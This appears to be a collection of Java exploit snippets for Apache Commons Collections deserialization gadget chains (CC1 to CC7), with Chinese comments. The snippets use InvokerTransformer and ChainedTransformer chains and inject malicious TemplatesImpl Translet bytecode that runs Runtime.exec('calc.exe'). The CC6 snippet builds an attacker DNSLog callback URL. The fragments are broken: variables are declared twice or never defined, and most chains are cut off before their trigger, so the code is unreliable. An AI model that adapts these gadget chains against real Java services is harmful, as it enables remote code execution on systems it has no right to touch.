public class CC1Exp { public static void main(String[] args) throws Exception { // 1. 构造三个InvokerTransformer,分别实现:获取Runtime类 → 获取Runtime实例 → 执行命令 Transformer[] transformers = new Transformer[]{ // 第一步:通过Class.forName获取Runtime.class(参数"java.lang.Runtime") new InvokerTransformer("forName", new Class[]{String.class}, new Object[]{"java.lang.Runtime"}), // 第二步:调用Runtime.class的getRuntime()方法,获取Runtime实例 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // 第三步:调用Runtime实例的exec()方法,执行命令(此处为calc.exe,Windows计算器) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
// 2. 用ChainedTransformer串联上述Transformer,形成调用链 Transformer chainedTransformer = new ChainedTransformer(transformers);
// 3. 构造TemplatesImpl实例,设置_bytecodes为恶意字节码 TemplatesImpl templates = new TemplatesImpl(); Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{maliciousBytecode});
// 4. 构造调用链:触发TemplatesImpl.getOutputProperties() Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getOutputProperties", new Class[0], new Object[0]) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
public class CC3Exp { // 1. 定义恶意Translet类 static class MaliciousTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {} @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {} }
public static void main(String[] args) throws Exception { // 2. 准备恶意字节码与TemplatesImpl实例 byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class); TemplatesImpl templates = new TemplatesImpl(); Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{maliciousBytecode});
// 3. 构造调用链:触发TemplatesImpl.getOutputProperties() Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getOutputProperties", new Class[0], new Object[0]) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
public class CC4Exp { // 1. 恶意Translet类(同CC2/CC3) static class MaliciousTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {} @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {} }
public static void main(String[] args) throws Exception { // 2. 准备TemplatesImpl实例 byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class); TemplatesImpl templates = new TemplatesImpl(); Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{maliciousBytecode});
// 3. 构造恶意调用链 Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getOutputProperties", new Class[0], new Object[0]) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
public class CC5Exp { public static void main(String[] args) throws Exception { // 1. 直接获取Runtime实例(通过getRuntime()) Runtime runtime = Runtime.getRuntime();
// 2. 构造调用链:ConstantTransformer返回Runtime实例 → InvokerTransformer调用exec() Transformer[] transformers = new Transformer[]{ new ConstantTransformer(runtime), // 直接返回预设的Runtime实例 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 调用exec()执行命令 }; Transformer chainedTransformer = new ChainedTransformer(transformers);
public class CC6Exp { public static void main(String[] args) throws Exception { // 1. 构造攻击者的DNS域名(如"test.cc6.dnslog.cn",需替换为实际DNSLog域名) URL maliciousUrl = new URL("http://test.cc6.dnslog.cn");
// 2. 构造调用链:触发URL.hashCode() Transformer transformer = new InvokerTransformer("hashCode", new Class[0], new Object[0]);
public class CC7Exp { // 1. 恶意Translet类(同前) static class MaliciousTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler, com.sun.org.apache.xml.internal.serializer.Serializer serializer) throws Exception {} @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM dom, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xalan.internal.xsltc.translet.TransletOutputHandler outputHandler) throws Exception {} }
public static void main(String[] args) throws Exception { // 2. 准备TemplatesImpl实例 byte[] maliciousBytecode = getClassBytecode(MaliciousTranslet.class); TemplatesImpl templates = new TemplatesImpl(); Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{maliciousBytecode});
// 3. 用TransformerUtils创建ChainedTransformer(适配4.x版本) Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getOutputProperties", new Class[0], new Object[0]) }; Transformer chainedTransformer = TransformerUtils.chainedTransformer(transformers);